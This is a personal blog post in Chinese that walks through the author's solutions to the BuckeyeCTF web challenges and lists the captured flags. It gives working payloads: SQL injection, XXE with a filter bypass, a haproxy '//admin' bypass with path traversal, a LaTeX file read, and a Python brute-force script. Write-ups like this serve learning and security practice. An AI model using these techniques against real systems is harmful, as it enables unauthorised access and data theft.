為了慶祝第一次Web破台
剛好把這個做為Blog的第一個文章

本來這周是想打N1CTF
不過我一直連不上去就算了
改打這個BuckeyeCTF

比賽的Web其實偏簡單
至少對我來說有點水就是ㄌ

buckeyenotes

SQLI

username=123&password=1' or 0<1 limit 1,2;--

buckeye{wr1t3_ur_0wn_0p3n_2_pwn}

pong

網頁是一個遊戲,正常玩不可能贏
但加分是客戶端發送socket出去
所以在console發幾次socket.emit('score',123)就好

buckeye{1f_3v3ry0n3_ch3475_175_f41r}

owl

給你一個dcbot然後他會去帶著flag去你給他的網址
隨便架一個網站然後讓他去逛
接著看header就好

buckeye{7h3_m0r3_17_5335_7h3_1355_17_h0075}

textual

題目是會render latex的服務
\input{flag}丟進去就好

buckeye{w41t_3v3n_l4t3x_15_un54f3}

quizbot

懶ㄉ寫

buckeye{5tat3l355_m0r3_L1K3_DaT3L355}

scanbook

會把你的訊息弄成qrcode
然後可以上傳qrcode來獲取你的訊息
但實際上是把東西存起來,並且把id變成qrcode
所以把000000弄成qrcode然後在傳上去就能拿到flag

buckeye{4n_1d_numb3r_15_N07_4_p455w0rd}

hambone

會把path跟flag各自分成三段做hamming distance
不夠的地方會補0
同時結果會顯示在網頁裡字的顏色上面
基本上就是去爆破
並且由於hamming distance是用bit做比對
透過bit operation只要每次request做4次就好
如果0~f慢慢去試則是要花16次

import requests
path=[['','',255],['','',255],['','',255]]

for i in range(32):
    tmp = ['','','']
    bits=[0,0,0]
    for j in range(4):
        o = 1 << j
        for k in range(3):
            bits[k] = bits[k] | o
            h = f'{bits[k]:x}'
            path[k][1] = path[k][0]+h
        r=requests.get(f"https://hambone.chall.pwnoh.io/{path[0][1].ljust(32,'0')}{path[1][1].ljust(32,'0')}{path[2][1].ljust(32,'0')}")
        dist = r.content.split(b'\n')[13][29:35]
        arr = [int(dist[i*2:i*2+2],16) for i in range(3)]
        for k in range(3):
            if(arr[k]<=path[k][2]):
                path[k][2]= arr[k]
                tmp[k] = path[k][1]
            else:
                bits[k] = bits[k] ^ o
                
    for j in range(3):
        path[j][0] = tmp[j]
        print(f'{j}: {path[j][0]}: {path[j][2]}')

print(path[0][0]+path[1][0]+path[2][0])

最後拼出來的長這樣
ac72c3ecbd95984a48a1890735da8c10b7dd222b9addf2ab7b17778c6b8fc3537852861c969f6738865996481438b29d

buckeye{th3_b4ckgr0und_i5_n0t_4_l13}

goober

題目是一個把SVG轉成PNG的服務
目的是要弄SSRF
首先會先parse xml
在之前會先過濾掉自定義的doctype

reg := regexp.MustCompile(`<!DOCTYPE[^>[]*(\[[^]]*\])?>`)
contentSafe := reg.ReplaceAllString(contents, "")

但是把他replace空字串基本上跟沒有過濾沒什麼兩樣==
弄成<!DO<!DOCTYPE>CTYPE>就能繞過了
然後就是xxe

<?xml version="1.0"?>
<!DO<!DOCTYPE>CTYPE test[
    <!ENTITY xxe SYSTEM "http://goober-internal:5001/flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="150" height="150">
<text x="15" y="20" font-size="4px">&xxe;</text>
</svg>

他Dockerfile給的host跟遠端的host不一樣
然後我由於沒看清楚題敘
我還以為是bug所以去問出題者
結果因為出題者在睡覺所以這題卡了我整個下午==

buckeye{wh0_n33ds_4n_htm1_c4nv4s}

shortbread

有一個haproxy會擋path開頭是/admin的request
用//admin就能繞過
然後/admin/api/logs會把path參數跟logdir合併
LFI就能直接拿到flag
說是medium結果跟beginner一樣簡單==
//admin/api/logs?path=../../../../flag.txt

賽後才發現這其實是unintended
之前TSJ CTF也有一個跟這題差不多的題目就是了
intended的解法跟之前一樣是http smuggling
然後unintended同樣是前面加/

buckeye{1_th1nk_1ll_st1ck_t0_fr0nt_3nd}

結語

這ㄍCTF的Web真的偏水
Reverse倒是看起來難多了
不過還是讓隊友去玩好ㄌ
Web給ㄉ分數不夠多只拿ㄌ41名